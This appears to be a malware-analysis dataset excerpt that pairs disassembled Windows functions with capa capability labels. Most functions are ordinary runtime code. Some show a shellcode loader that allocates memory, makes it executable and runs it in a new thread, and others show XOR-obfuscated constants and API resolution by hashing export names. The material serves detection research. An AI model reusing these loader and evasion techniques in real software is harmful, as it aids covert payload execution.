joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000df80
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x140022770]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x14000dfc4
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14000e02a
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x14000e061
test eax, eax
js 0x14000e03b
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14000e054
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.140009200
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.1400055e0
mov ecx, 7
int 0x29
ud2
Function at 0x14001c370
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14001c3ea
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14001c3e0
cmp r11, r10
ja 0x14001c475
cmp r10, rdx
ja 0x14001c487
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x14001c3e2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14001c3c0
jmp 0x14001c457
ja 0x14001c3ea
mov r11, r10
cmp rax, r8
jne 0x14001c392
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14001c45b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14001c430
mov r8, r10
sub ecx, r9d
jns 0x14001c44e
jmp 0x14001c45d
cmp r10, rdx
je 0x14001c469
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14001c45d
xor al, 1
cmp r8, rdx
jne 0x14001c410
jmp 0x14001c45d
xor eax, eax
jmp 0x14001c45d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.14001ed30
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14001f360
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14001f2e0
int3

Function at 0x14001da20
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001da6a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001da6a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001da6a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001da6a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001da6a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001da6c
xor al, al
add rsp, 0x28
ret

Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov edx, dword [0x14001d114]
xor ecx, ecx
mov r8d, 0x3000
mov dword [rsp + 0x40], 0
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r8, section..data
mov rdi, rax
lea rdx, str.payload_addr
lea rcx, [0x14001d128]
call fcn.1400010f0
mov r8, rdi
lea rdx, str.payload_mem_addr
lea rcx, str.__20s_:_0x__016p_n
call fcn.1400010f0
mov r8d, dword [0x14001d114]
lea rdx, section..data
mov rcx, rdi
call fcn.140001bb0
mov edx, dword [0x14001d114]
lea r9, [rsp + 0x40]
mov r8d, 0x20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str._nHit_me__n
mov ebx, eax
call fcn.1400010f0
call fcn.140002d7c
test ebx, ebx
je 0x1400010d3
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [rsp + 0x48]
xor eax, eax
add rsp, 0x30
pop rdi
ret

Function at 0x1400050b8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140004ee4
Function at 0x1800014c0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov edi, edx
mov r9, rcx
test rcx, rcx
je 0x180001591
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180001591
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
je 0x180001591
add rax, 0x18
je 0x180001591
mov eax, dword [rax + 0x70]
add rax, rcx
je 0x180001591
mov esi, dword [rax + 0x1c]
xor r10d, r10d
mov r11d, dword [rax + 0x20]
add rsi, rcx
mov ebp, dword [rax + 0x24]
add r11, rcx
mov ebx, dword [rax + 0x18]
add rbp, rcx
test ebx, ebx
je 0x180001591
mov eax, dword [r11]
mov r8d, 0x25
add rax, r9
movzx ecx, byte [rax]
test cl, cl
je 0x18000156e
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
lea rax, [rax + 1]
imul edx, ecx, 0x12ca3
movzx ecx, byte [rax]
imul r8d, r8d, 0xd32b
xor r8d, edx
test cl, cl
jne 0x180001550
cmp r8d, edi
je 0x180001581
inc r10d
add r11, 4
cmp r10d, ebx
jb 0x180001530
jmp 0x180001591
movsxd rax, r10d
movzx ecx, word [rbp + rax*2]
mov eax, dword [rsi + rcx*4]
add rax, r9
jmp 0x180001593
xor eax, eax
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
Function at 0x180001d80
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x500
mov rax, qword [0x180009010]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180001e47
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180001e47
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xfab54e62
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x180001e42
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x180001e20
cmp r8d, 0x9dde2267
je 0x180001e4c
test r9d, r9d
jne 0x180001e00
mov rax, qword [rax]
jmp 0x180001dd0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rsi, rax
mov dword [rsp + 0x50], 0x100010
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180001f07
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180001f07
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x4a1fcdf0
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180001f02
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180001ee0
cmp r8d, 0x65c6de97
je 0x180001f0c
test r9d, r9d
jne 0x180001ec0
mov rax, qword [rax]
jmp 0x180001e90
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rsp + 0x20]
add rax, r10
mov rcx, rsi
call rax
test eax, eax
je 0x180001f71
cmp qword [rsp + 0x68], 0
jne 0x180001f6a
cmp qword [rsp + 0x70], 0
jne 0x180001f6a
cmp qword [rsp + 0x78], 0
jne 0x180001f6a
cmp qword [rsp + 0x80], 0
jne 0x180001f6a
cmp qword [rsp + 0x88], 0
jne 0x180001f6a
cmp qword [rsp + 0x90], 0
je 0x180001f71
mov eax, 1
jmp 0x180001f73
xor eax, eax
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.180004ff0
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x180001fa0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
sub rsp, 0x100
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x180009010]
xor rax, rsp
mov qword [rbp + 0xa0], rax
cmp qword [0x1800096d8], 0
je 0x1800021a2
movabs rax, 0x2d4d42061c49988a
lea rdx, [rbp + 0x20]
mov qword [rbp], rax
lea rcx, [rbp + 0x40]
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x4e4dc9f76d880881
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x96ab7befead9ec56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0x3bb051cc97892874
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0x42292c6f6b15a2e9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x2b39ba8e1ed47bf6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xfacf0f81b6ebdf3b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x3bb051a0fbed0618
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.180004490
mov edx, 0xb193f98a
mov rcx, rax
call fcn.1800015b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180002157
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180002157
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xa7eb58e8
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x180002152
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x180002130
cmp r8d, 0x19e0d19d
je 0x18000215c
test r9d, r9d
jne 0x180002110
mov rax, qword [rax]
jmp 0x1800020e0
mov ecx, dword [rbx + 0x24]
lea r8, [rbp + 0x60]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov r9d, 4
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp + 0x64]
mov qword [rsp + 0x20], rcx
lea edx, [r9 + 3]
mov rcx, 0xffffffffffffffff
add rax, r10
call rax
test eax, eax
js 0x1800021a2
xor eax, eax
cmp dword [rbp + 0x60], 0xffffffff
sete al
jmp 0x1800021a4
xor eax, eax
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.180004ff0
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x1800021d0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
sub rsp, 0x100
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x180009010]
xor rax, rsp
mov qword [rbp + 0xa0], rax
movabs rax, 0x2d4d42061c49988a
lea rdx, [rbp + 0x20]
mov qword [rbp], rax
lea rcx, [rbp + 0x40]
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x4e4dc9f76d880881
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x96ab7befead9ec56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0x3bb051cc97892874
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0x42292c6f6b15a2e9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x2b39ba8e1ed47bf6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xfacf0f81b6ebdf3b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x3bb051a0fbed0618
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.180004490
mov edx, 0xb193f98a
mov rcx, rax
call fcn.1800015b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180002377
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180002377
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x1dfcb8c8
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x180002372
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x180002350
cmp r8d, 0xa324797d
je 0x18000237c
test r9d, r9d
jne 0x180002330
mov rax, qword [rax]
jmp 0x180002300
mov ecx, dword [rbx + 0x24]
lea r8, [rbp + 0x60]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov r9d, 4
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp + 0x64]
mov qword [rsp + 0x20], rcx
lea edx, [r9 + 0x1b]
mov rcx, 0xffffffffffffffff
add rax, r10
call rax
test eax, eax
js 0x1800023c1
xor eax, eax
cmp dword [rbp + 0x60], eax
sete al
jmp 0x1800023c3
xor eax, eax
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.180004ff0
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140018430
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14001de00
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14001de00
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400184a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140023094]
test esi, esi
mov rdi, rcx
mov rbp, rdx
mov rbx, r8
jle 0x140018630
mov rax, qword [0x140023098]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rdi, rdx
jb 0x1400184ec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rdi, rdx
jb 0x140018575
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x1400184d0
mov rcx, rdi
call fcn.140019000
test rax, rax
mov r12, rax
je 0x140018682
mov rax, qword [0x140023098]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.140019140
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x140023098]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140018665
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14001856e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400185e0
add dword [0x140023094], 1
cmp ebx, 8
jae 0x1400185a1
test bl, 4
jne 0x140018640
test ebx, ebx
je 0x140018596
movzx eax, byte [rbp]
test bl, 2
mov byte [rdi], al
jne 0x140018654
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, ebx
sub ebx, 1
mov rdx, qword [rbp + rax - 8]
cmp ebx, 8
mov qword [rdi + rax - 8], rdx
jb 0x140018596
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, ebx
mov qword [rdi + rdx], rcx
jb 0x1400185ba
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov r8d, 4
mov eax, 0x40
mov rcx, qword [rsp + 0x20]
cmovne r8d, eax
mov rdx, qword [rsp + 0x38]
add rsi, qword [0x140023098]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001856e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140018430
xor esi, esi
jmp 0x1400184f7
mov eax, dword [rbp]
mov ebx, ebx
mov dword [rdi], eax
mov eax, dword [rbp + rbx - 4]
mov dword [rdi + rbx - 4], eax
jmp 0x140018596
mov ebx, ebx
movzx eax, word [rbp + rbx - 2]
mov word [rdi + rbx - 2], ax
jmp 0x140018596
mov rax, qword [0x140023098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.140018430
lea rcx, str.Address__p_has_no_image_section
mov rdx, rdi
call fcn.140018430
nop
nop dword [rax]
nop word cs:[rax + rax]
Function at 0x140018c50
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140023100]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400230e0]
test rbx, rbx
je 0x140018ca4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140018c9b
test rsi, rsi
je 0x140018c9b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140018c80
lea rcx, [0x140023100]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140019000
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1400208e0]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14001906f
mov rcx, r9
call fcn.140018ed0
test eax, eax
je 0x14001906f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x14001906d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140019064
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14001906f
add rdx, 0x28
cmp rdx, r9
jne 0x140019050
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret

Function at 0x14001e530
Capabilities:
Delete file

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0xe8
mov ebx, ecx
mov rsi, rdx
call fcn.140018230
cmp ebx, 2
jg 0x14001e580
mov ecx, 2
mov r12d, 2
call qword [fcn.14001de00]
lea rdx, str.gpgme_w32spawn:_internal_error_n
mov rcx, rax
call fcn.140017530
cmp ebx, 2
je 0x14001e5d5
mov eax, r12d
add rsp, 0xe8
pop rbx
pop rsi
pop rdi
pop r12
ret
mov rcx, qword [rsi + 8]
lea r12, [rsp + 0x30]
lea rdx, [rsi + 0x10]
mov r8, r12
lea r9, [rsp + 0x2c]
call fcn.140017ff0
test rax, rax
mov rcx, rax
je 0x14001e614
mov r8d, dword [rsp + 0x2c]
mov rdx, r12
call fcn.140017590
test eax, eax
mov r12d, eax
js 0x14001e61c
je 0x14001e5d5
mov rbx, qword [fcn.14001de00]
mov ecx, 2
call rbx
lea rdx, str.gpgme_w32spawn:_internal_error_n
mov rcx, rax
call fcn.140017530
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14001e570
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rsi, qword [rsi + 8]
mov ecx, 2
mov ebx, eax
call qword [fcn.14001de00]
lea rdx, str.gpgme_w32spawn:_failed_to_delete__s:_ec_ld_n
mov r9d, ebx
mov rcx, rax
mov r8, rsi
call fcn.140017530
jmp 0x14001e570
mov r12d, 2
jmp 0x14001e5b8
call qword [sym.imp.msvcrt.dll__errno]
mov ecx, dword [rax]
call sub.msvcrt.dll_strerror
mov rdi, qword [rsi]
mov ecx, 2
mov r12, rax
mov rbx, qword [fcn.14001de00]
call rbx
lea rdx, str.gpgme_w32spawn:_executing___s_failed:__s_n
mov r9, r12
mov r12d, 2
mov rcx, rax
mov r8, rdi
call fcn.140017530
jmp 0x14001e5bf
Function at 0x140011325
Capabilities:
Terminate process

Disassembly:
jmp 0x140018ae0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011406
Capabilities:
Parse pe header

Disassembly:
jmp 0x140019e30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140019e50
xor al, al
jmp 0x140019ed1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140019e63
xor al, al
jmp 0x140019ed1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140019e8d
xor al, al
jmp 0x140019ed1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140019ea1
xor al, al
jmp 0x140019ed1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140019eb3
xor al, al
jmp 0x140019ed1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140019ecf
xor al, al
jmp 0x140019ed1
mov al, 1
add rsp, 0x38
ret
Function at 0x140073e40
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
mov eax, 0x10090
call fcn.14009e320
sub rsp, rax
mov rax, qword [0x1400b5010]
xor rax, rsp
mov qword [rsp + 0x10080], rax
xor eax, eax
lea rsi, str.NUITKA_PYTHONPATH
mov word [rsp + 0x80], ax
lea rbx, [rsp + 0x30]
mov word [rsp + 0x30], ax
mov edi, 0x28
mov dl, 0x4e
nop dword [rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x140073ead
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x140073ea0
cmp rcx, 1
jb 0x140073f5a
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
nop word [rax + rax]
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x140073ed0
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.1400918f8
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x140073e90
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x140073f56
lea rcx, [rsp + 0x80]
call fcn.1400930cc
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.140082dd0
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
xor eax, eax
jmp 0x140073f31
call fcn.140086e58
int3

Function at 0x140073f60
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x1400b5010]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
lea rsi, str.NUITKA_PYTHONPATH
mov word [rsp + 0x30], ax
lea rbx, [rsp + 0x30]
mov edi, 0x28
mov dl, 0x4e
nop
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x140073fbd
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x140073fb0
cmp rcx, 1
jb 0x140074037
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
